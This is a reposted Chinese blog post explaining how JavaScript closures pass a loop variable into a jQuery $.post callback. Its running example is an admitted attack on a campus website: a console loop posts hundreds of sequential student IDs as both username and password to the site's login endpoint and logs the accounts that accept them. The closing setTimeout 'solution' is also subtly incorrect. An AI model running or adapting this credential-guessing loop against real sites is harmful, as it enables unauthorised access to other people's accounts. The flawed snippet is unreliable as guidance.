码迷,mamicode.com
首页 > Web开发 > 详细

[js]利用闭包向post回调函数传参数

时间:2014-10-24 18:08:22      阅读:273      评论:0      收藏:0      [点我收藏+]

标签:style   blog   http   color   io   os   ar   for   sp   

  最近在闲逛校园XX站的时候,打算搞个破坏,试试有多少人还是用初始密码登陆。比较懒,所以直接打开控制台来写。

  所以问题可以描述为:


      向后端不断的post数据,id从1~5000自增,后端会根据情况来返回值res,需要把res=100的id输出。
  



  最简单的想法是:for循环内部调用post数据
    

//错误示范 一
for(var i = 92000;i<92500;i++){
    //直接借用一下网站内引用的jq
    $.post("login.php", { ts:"login",username: i, password: i},function(data){
        if(data=="100"){
            console.log(i);
        }
    });
}

  但是,运行结果是这样的:

  bubuko.com,布布扣

  看到输出结果一下子就反应过来了:函数队列。js是单线程的,执行函数的时候如果函数没有执行完,其他函数的执行就会进入等待态,所以所有的console.log()只能等待for循环结束后执行,这时i已经便利到最后了,肯定每次输出的都是201292500。

  这和一道很经典的笔试题很像:
  

for(var i = 0;i<10;i++){
    setTimeout(function(){
        console.log(i);
    },1000);
}
//输出结果为10个 10

  

  解决办法:利用闭包

  

//利用闭包和返回函数实现
for(var i=92000;i<92500;i++){
    $.post("index.php?action=login",{ ts:"login",username: i, password: i,chekcode:9895 },(function(i){
            return function(data){
                if(data == "100"){
                    console.log(i)
                }
            }
        })(i);
    );
}

  运行结果:

  bubuko.com,布布扣

  相关解释:

    通过把回调写成匿名函数闭包的形势,将i变量保存并且立即调用函数,但是为了获取到返回的data数据,所以在闭包内部return function(data),用来作为真正的回调函数接受返回参数res-data

    当执行完for循环之后,console.log()首先能拿到正常返回数据data的值,因为js里函数访问参数时访问的作用域不是当前作用域,而是函数声明环境下的作用域,所以就可以直接访问到每个res=100对应的循环变量i。

  所以上面那个面试题的一种解法就是:

  

for(var i = 0;i<10;i++){
    setTimeout((function(i){
        console.log(i);
    })(i),1000);
}

  

  对函数的一些理解:

  1.函数可以作为参数传入,参与运算。

  2.函数可以保存内部数据的状态,常见通过构造函数内部var变量实现类的私有成员

  3.还没想好怎么说,以后再补

 

        

[js]利用闭包向post回调函数传参数

标签:style   blog   http   color   io   os   ar   for   sp   

原文地址:http://www.cnblogs.com/limingxi/p/4048705.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!